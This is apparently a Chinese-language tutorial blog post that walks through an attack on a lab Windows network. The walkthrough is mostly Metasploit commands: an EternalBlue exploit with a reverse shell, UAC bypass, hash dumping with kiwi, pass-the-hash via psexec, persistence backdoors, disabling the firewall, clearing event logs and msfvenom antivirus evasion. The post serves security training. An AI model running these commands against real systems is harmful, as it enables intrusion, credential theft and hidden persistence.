Windows内网渗透实战:从漏洞扫描到MSF提权完整攻防演练
1. 项目概述一次完整的Windows内网渗透实战演练最近在带新人做内网安全评估发现很多朋友对Windows环境的渗透测试流程还是停留在“会用工具扫一下”的阶段知其然不知其所以然。正好手头有个模拟的实战环境我就把从信息收集到最终拿到域控权限的完整过程梳理了一遍核心就是围绕“漏洞扫描”和“MSF提权”这两个关键环节。这不仅仅是工具的使用教程更重要的是理解每一步操作背后的意图和可能遇到的坑。无论你是刚入门的安全爱好者还是想巩固流程的安服工程师这篇实战记录都能给你提供一个清晰的、可复现的路径。我们最终的目标是理解攻击链从而更好地进行防御。2. 环境与目标设定构建可控的实战沙箱在真正对客户环境动手之前建立一个高度仿真的本地测试环境是绝对必要的。这既能让你放开手脚尝试各种技术又不会引发任何真实风险。2.1 靶机环境搭建我选择使用虚拟机来构建整个测试环境这是最灵活可控的方式。攻击机 (Kali Linux)渗透测试的“武器库”。我使用的是最新的Kali Rolling版本它预装了Metasploit Framework (MSF)、Nmap、Nessus等我们所需的大部分工具。确保虚拟机网络适配器设置为“NAT”或“桥接”以便能与靶机通信。靶机1 (Windows 10/11 专业版)模拟一个存在常见配置漏洞的办公主机。我会故意进行一些“不安全”的设置例如关闭Windows防火墙、启用某些老旧服务如SMBv1、使用弱口令账户并安装一个存在已知漏洞的旧版软件如老版本的PDF阅读器或办公套件。靶机2 (Windows Server 2016/2019)模拟内网中的一台服务器可能承载着Web应用或文件共享服务。这台机器将配置更多的网络服务并加入一个模拟的域环境为后续的横向移动和提权创造场景。注意所有靶机的快照功能务必开启。在进行高风险操作如漏洞利用前创建一个干净的快照。一旦操作失败或环境被破坏可以瞬间回滚节省大量重建时间。2.2 网络与目标规划我将三台虚拟机置于同一个虚拟网络例如VMware的“自定义”虚拟网络或VirtualBox的“内部网络”中确保它们彼此互通。攻击机IP192.168.52.128(Kali)靶机1 IP192.168.52.130(Win10)靶机2 IP192.168.52.131(WinServer)本次实战的核心目标是从外部网络攻击机出发首先探测并攻破Win10靶机将其作为跳板进一步探测内网最终在WinServer靶机上获取最高权限SYSTEM或域管理员完成对整个模拟内网的“突破”。3. 信息收集渗透测试的“侦察兵”阶段在发动任何攻击之前充分的信息收集是成功的一半。这个阶段的目标是绘制一张尽可能详细的目标网络地图。3.1 主机发现与端口扫描首先我们需要找到目标并了解它们开放了哪些“门”。# 使用Nmap进行存活主机扫描确认目标IP是否在线 sudo nmap -sn 192.168.52.0/24 # 针对发现的存活主机192.168.52.130进行快速端口扫描识别开放端口 sudo nmap -sS -T4 192.168.52.130-sS代表TCP SYN扫描一种半开放扫描速度较快且相对隐蔽。-T4指定扫描速度。扫描结果可能会显示开放了135(RPC)、139/445(SMB)、3389(RDP)等典型Windows端口。3.2 服务与版本探测知道门开了还不够还得知道门后是谁。# 对开放端口进行更深入的版本探测和脚本扫描 sudo nmap -sV -sC -p 135,139,445,3389 192.168.52.130-sV: 探测服务及版本信息。-sC: 使用默认的Nmap脚本引擎进行扫描能发现一些常见漏洞或配置信息。-p: 指定扫描的端口。这个步骤可能告诉我们目标运行的是Windows 10 EnterpriseSMB服务版本是SMBv2并且可能通过脚本发现一些有用的信息比如共享目录列表如果允许匿名访问的话。3.3 漏洞扫描自动化工具的利与弊信息收集到一定程度可以引入自动化漏洞扫描器进行初筛。Nessus / OpenVAS这是专业的漏洞扫描工具。我在这里使用OpenVAS开源版本为例。在Kali上安装并启动OpenVAS通过Web界面https://127.0.0.1:9392登录。新建一个扫描任务目标地址填入192.168.52.130选择“Full and fast”扫描策略。启动扫描并等待报告。扫描报告会列出所有发现的漏洞按风险等级Critical, High, Medium...排序。它可能会指出MS17-010 (EternalBlue)漏洞、SMB签名未强制启用、RDP服务暴露、或某个旧版软件存在远程代码执行漏洞等。实操心得自动化扫描报告是很好的“线索清单”但绝不能完全依赖。它会产生大量误报False Positive和无关紧要的低危漏洞。我的习惯是优先关注那些有公开利用代码Exploit、且能直接导致远程代码执行RCE或权限提升PE的“高危”和“严重”漏洞。同时要手动验证关键发现。4. 漏洞利用与初始访问敲开第一扇门拿到扫描报告后我们选择最具威胁的漏洞作为突破口。假设扫描报告显示目标存在MS17-010永恒之蓝漏洞且445端口开放。4.1 利用MSF进行漏洞攻击Metasploit Framework (MSF) 是我们的核心武器库。# 启动MSF控制台 msfconsole # 搜索与MS17-010相关的模块 search ms17-010 # 使用永恒之蓝漏洞利用模块 use exploit/windows/smb/ms17_010_eternalblue # 查看需要设置的参数 show options # 设置目标主机 set RHOSTS 192.168.52.130 # 选择载荷Payload我们想要一个反向Shell连接回攻击机 set payload windows/x64/meterpreter/reverse_tcp # 设置攻击机监听IPLHOST和端口LPORT set LHOST 192.168.52.128 set LPORT 4444 # 执行攻击 exploit如果漏洞利用成功我们将看到Meterpreter会话被建立meterpreter 提示符。这意味着我们已经成功在目标系统上执行了代码并获得了一个交互式的Shell。4.2 初始立足点的巩固拿到一个Meterpreter会话后第一件事不是乱跑而是先稳固这个连接。# 查看当前会话信息 sysinfo getuid # 查看当前权限很可能是某个用户级权限如NT AUTHORITY\SYSTEM如果是则已提权但通常初期是普通用户 # 将当前进程迁移到一个更稳定的进程如explorer.exe中防止会话因进程退出而中断 ps # 列出进程 migrate explorer.exe的PID # 关闭目标系统的防火墙为后续操作扫清障碍 run post/windows/manage/enable_rdp # 或者使用命令 shell netsh advfirewall set allprofiles state off exit5. 权限提升从普通用户到系统管理员在Windows中初始突破获得的往往是普通用户权限。要完全控制系统必须进行权限提升Privilege Escalation。5.1 本地信息枚举在尝试提权前我们需要了解系统的详细情况。# 在Meterpreter会话中运行本地枚举脚本 run post/windows/gather/enum_logged_on_users run post/windows/gather/enum_patches # 查看已安装的补丁找出缺失的补丁 run post/multi/recon/local_exploit_suggester # MSF自带的提权建议模块会根据系统信息推荐可用的本地提权模块local_exploit_suggester模块的输出至关重要它会列出所有可能适用于当前系统的本地提权漏洞。5.2 利用本地漏洞提权假设建议列表中包含exploit/windows/local/bypassuac_eventvwr一个常见的UAC绕过漏洞。# 背景化当前的Meterpreter会话 background # 使用提权模块 use exploit/windows/local/bypassuac_eventvwr show options # 设置会话SESSION参数为刚才背景化的会话ID通常是1 set SESSION 1 set LHOST 192.168.52.128 # 执行提权 exploit如果成功你会获得一个新的Meterpreter会话。再次运行getuid如果显示NT AUTHORITY\SYSTEM恭喜你已经拿到了Windows最高权限。5.3 其他常见的提权路径除了漏洞利用还有多种“非漏洞”提权方法服务路径提权如果一个以SYSTEM权限运行的服务其可执行文件路径包含空格且未被引号包裹同时我们对路径中的目录有写权限就可以劫持该服务。# 在Meterpreter中上传一个恶意exe到可写目录并将其重命名为路径中空格前的程序名如common.exe。 # 然后重启服务系统会运行我们的恶意程序。AlwaysInstallElevated如果组策略中启用了AlwaysInstallElevated那么任何用户都可以以SYSTEM权限安装MSI包。我们可以制作一个包含后门的MSI文件进行安装。# 检查注册表项 shell reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated令牌窃取Token Impersonation如果当前用户具有SeImpersonatePrivilege权限常见于服务账户可以直接窃取SYSTEM令牌。在Meterpreter中可以使用incognito模块。load incognito list_tokens -u # 列出可用令牌 impersonate_token NT AUTHORITY\\SYSTEM # 窃取SYSTEM令牌6. 内网横向移动扩大战果拿下第一台主机后我们的视野从单点扩展到整个内网。6.1 内网信息再收集以第一台攻陷的主机192.168.52.130为跳板探测内网其他主机。# 在Meterpreter会话中添加通往内网192.168.52.0/24网段的路由 run post/multi/manage/autoroute CMDadd SUBNET192.168.52.0 NETMASK255.255.255.0 # 背景化会话让MSF的后续模块能通过这个路由访问内网 background # 使用MSF的端口扫描模块对内网进行扫描 use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.52.0/24 set PORTS 445,3389,80,443 run6.2 密码哈希抓取与破解Windows系统将用户密码的哈希值存储在SAM数据库或内存中。获取这些哈希是横向移动的关键。# 在已提权的Meterpreter会话中抓取哈希 hashdump # 或者使用更强大的Mimikatz脚本 load kiwi lsa_dump_sam lsa_dump_secrets抓取到的哈希格式通常是NTLM或NTLMv2。我们可以使用John the Ripper或Hashcat进行破解。如果密码强度不高很可能被破解。6.3 传递哈希攻击即使无法破解密码如果内网中其他机器有相同的本地管理员密码这是一种常见的不安全配置我们可以直接使用哈希进行认证无需明文密码。# 在MSF中使用psexec模块进行哈希传递攻击 use exploit/windows/smb/psexec set RHOSTS 192.168.52.131 # 内网另一台服务器 set SMBUser Administrator set SMBPass 抓取到的Administrator的NTLM哈希值 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.52.128 # 注意这里的LHOST需要是攻击机IP但会话会通过跳板路由回来 set LPORT 5555 exploit如果成功我们将直接获得192.168.52.131服务器的SYSTEM权限会话。7. 后渗透与权限维持在完全控制目标后需要留下后门以便日后再次访问。7.1 创建持久化后门Meterpreter提供了多种持久化方式。# 方法1通过服务创建后门 run persistence -X -i 30 -p 443 -r 192.168.52.128 # -X 开机自启 -i 30秒连接间隔 -p 监听端口 -r 攻击机IP # 此命令会在目标机创建一个服务定期连接我们的攻击机。 # 方法2计划任务 run scheduleme -m 1 -e /tmp/backdoor.exe -o -h 19 -t 30 # 创建计划任务在每天19:30执行后门程序。 # 方法3注册表启动项 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v Update -d C:\\backdoor.exe7.2 痕迹清理在授权测试结束后或需要隐蔽行动时清理痕迹很重要。# 清除Windows事件日志 clearev # 在Meterpreter中直接运行会清除应用程序、系统和安全日志。 # 删除上传的工具和创建的文件 shell del C:\\path\\to\\uploaded_file.exe8. 常见问题与排查技巧实录在实际操作中绝不会一帆风顺。下面是我总结的一些常见“坑”及解决方法。8.1 漏洞利用失败问题执行exploit后返回Exploit failed: No session was created。排查目标免疫首先确认目标系统是否真的存在该漏洞。用auxiliary/scanner/smb/smb_ms17_010等检测模块再扫一遍。可能系统已打补丁或版本不匹配。防火墙/杀软拦截即使漏洞存在利用载荷Payload也可能被实时防护拦截。尝试使用编码器对Payload进行混淆MSF的msfvenom工具或使用windows/meterpreter/reverse_https等更隐蔽的Payload。网络不稳定反向连接可能因为网络问题失败。尝试使用bind_tcp正向连接需目标能直连攻击机或调整LPORT为更常见的端口如80、443。技巧在exploit命令前加上set VERBOSE true可以输出更详细的调试信息帮助定位问题。8.2 Meterpreter会话不稳定或中断问题会话经常突然断开特别是进行文件传输或执行耗时命令时。解决进程迁移这是首要操作。尽快迁移到像explorer.exe,svchost.exe这类稳定且长期存在的系统进程。设置心跳在生成Payload时使用set SessionCommunicationTimeout 300和set SessionExpirationTimeout 604800来延长会话超时时间。使用更稳定的传输reverse_https和reverse_winhttp通常比普通的reverse_tcp更稳定能更好地穿透代理和防火墙。8.3 哈希传递攻击无效问题使用抓取的哈希进行psexec攻击返回STATUS_LOGON_FAILURE。排查目标系统版本Windows Server 2012 R2及更高版本默认启用了“受限管理模式”会阻止使用本地账户哈希进行网络登录。需要修改注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System下的LocalAccountTokenFilterPolicy值为1在已控机器上或者使用域账户哈希。管理员共享确保目标的ADMIN$共享是可访问的。防火墙可能屏蔽了445端口或相关共享。哈希类型确认使用的是NTLM哈希而不是LM哈希。hashdump抓取的一般是NTLM。8.4 内网路由问题问题添加了路由autoroute但后续模块如内网扫描依然无法访问内网主机。解决确认路由使用route print命令查看MSF中的路由表是否正确添加。使用Socks代理对于不支持MSF路由的第三方工具如Nmap图形版需要建立Socks代理。# 在MSF中启动Socks5代理模块 use auxiliary/server/socks_proxy set VERSION 5 run然后在你的系统或浏览器中配置代理为127.0.0.1:1080这样所有流量就会通过Meterpreter会话进入内网。权限问题确保用于建立路由的Meterpreter会话具有足够的权限。8.5 杀毒软件规避这是实战中最棘手的环节之一。静态免杀使用msfvenom生成Payload时一定要编码和混淆。msfvenom -p windows/x64/meterpreter/reverse_https LHOST192.168.52.128 LPORT443 -e x64/shikata_ga_nai -i 10 -f exe -o payload.exe-i 10表示迭代编码10次。但这只是基础现代杀软很容易查杀。动态免杀更有效的方法是使用Cobalt Strike,Empire等更先进的框架生成Payload或者自己编写Shellcode加载器Loader使用内存加载、API动态解析、代码加密等技术。行为规避Meterpreter的一些命令如keyscan_start,webcam_snap会触发敏感行为告警。在高度防护的环境下动作要轻优先使用系统自带的命令通过shell调用来完成信息收集。整个渗透测试过程就像一场精心策划的“外科手术”每一步都需要耐心、细致和对技术的深刻理解。从漏洞扫描的线索发现到MSF的精准利用再到内网的迂回渗透最后实现权限的巩固与维持环环相扣。真正的价值不在于成功运行了几个模块而在于理解每个动作背后的原理和防御方可能采取的应对措施。我个人的体会是防守方如果能够严格按照最小权限原则、及时打补丁、部署有效的网络分段和终端检测攻击者的每一步都会变得异常艰难。这份实战记录希望能为你的安全学习之路提供一张清晰的导航图更希望能帮助你从防御的视角构建更坚固的防线。